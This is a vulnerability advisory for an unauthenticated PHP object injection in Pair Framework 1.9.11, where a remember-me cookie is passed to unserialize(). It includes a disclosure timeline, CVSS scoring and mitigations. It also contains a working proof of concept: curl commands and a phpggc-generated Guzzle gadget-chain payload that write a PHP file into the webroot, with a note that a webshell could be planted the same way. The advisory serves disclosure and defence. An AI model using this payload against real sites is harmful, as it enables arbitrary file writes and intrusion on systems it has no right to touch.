Pair Framework has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.
(POP/) Gadget Chains exist in Pair Framework (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files. Other attacks may be possible depending on what additional code is used in a given project.
Exploitation of the vulnerability does not require authentication and can be achieved by a single GET request.
- 2025-03-05: attempt to contact maintainers via contact form
- 2025-03-06: discussion with the maintainer - will be fixed ASAP
- https://github.com/viames/pair
- Tested with tag
1.9.11
- CWE-502: Deserialization of Untrusted Data
- CAPEC-586: Object Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: assignment pending
Pair Framework passes unsafe input from a HTTP request - specifcially the value
of a cookie - to PHP's unserialize().
https://github.com/viames/pair/blob/1.9.11/src/UserRemember.php#L71
/**
* Utility to unserialize and return the remember-me cookie content {timezone, rememberMe}.
*
* @return \stdClass|NULL
*/
public static function getCookieContent(): ?\stdClass {
// build the cookie name
$cookieName = static::getCookieName();
// check if cookie exists
if (!isset($_COOKIE[$cookieName])) {
return NULL;
}
// try to unserialize the cookie content
$content = unserialize($_COOKIE[$cookieName]);
The name of the cookie depends on the PRODUCT_NAME constant which is part of
the config of each specific application.
A more recent commit has refactored this code, but unsafe input from a cookie is
still passed to unserialize() in a very similar way in the
Application::getPersistentState method.
In order to exploit the vulnerability, an attacker must derive the $cookieName
which is based on the app's PRODUCT_NAME in config.
By default the value of PRODUCT_NAME is output in multiple places by the app,
for example:
modules/user/layouts/login.php:5: <div><h1 class="logo-name"><?php print PRODUCT_NAME ?></h1></div>
Deriving the cookie name may be as simple as:
$ curl -si http://pair.ddev.site/user/login | grep logo-name
<div><h1 class="logo-name">PairApp</h1></div>
Pair Framework includes the Guzzle library which has a viable File Write Gadget Chain that can be used in a Proof of Concept.
https://github.com/ambionics/phpggc/tree/master/gadgetchains/Guzzle/
Example payload to write a phpinfo script to the webroot:
$ ./phpggc -f --public-properties Guzzle/FW1 pi.php pi.txt
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:10:"strictMode";N;s:8:"filename";s:6:"pi.php";s:19:"storeSessionCookies";b:1;}i:7;i:7;}
This payload can be sent - urlencoded - in a request to Pair Framework as the value of the "remember me" cookie:
$ curl -b 'PairAppRememberMe=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A7%3A%22cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A4%3A%22data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A18%3A%22%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7Ds%3A10%3A%22strictMode%22%3BN%3Bs%3A8%3A%22filename%22%3Bs%3A6%3A%22pi.php%22%3Bs%3A19%3A%22storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D' http://pair.ddev.site
There should now be a pi.php script in the public webroot, accessible via HTTP
request:
$ curl -s http://pair.ddev.site/pi.php | grep HTTP_HOST | head -n1
<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">pair.ddev.site</td></tr>
This attack could be used to upload a webshell, for example.
Other Gadget Chains may be available in applications written using Pair Framework which would allow other attacks such as direct Remote Code Execution.
The calls to unserialize could be made safer with the allowed_classes option
to disable Object Injection:
https://www.php.net/manual/en/function.unserialize.php
...assuming it's not necessary for objects to be deserialized.
If possible, a better mitigation would be to replace the use of serialization
with json_encode and json_decode.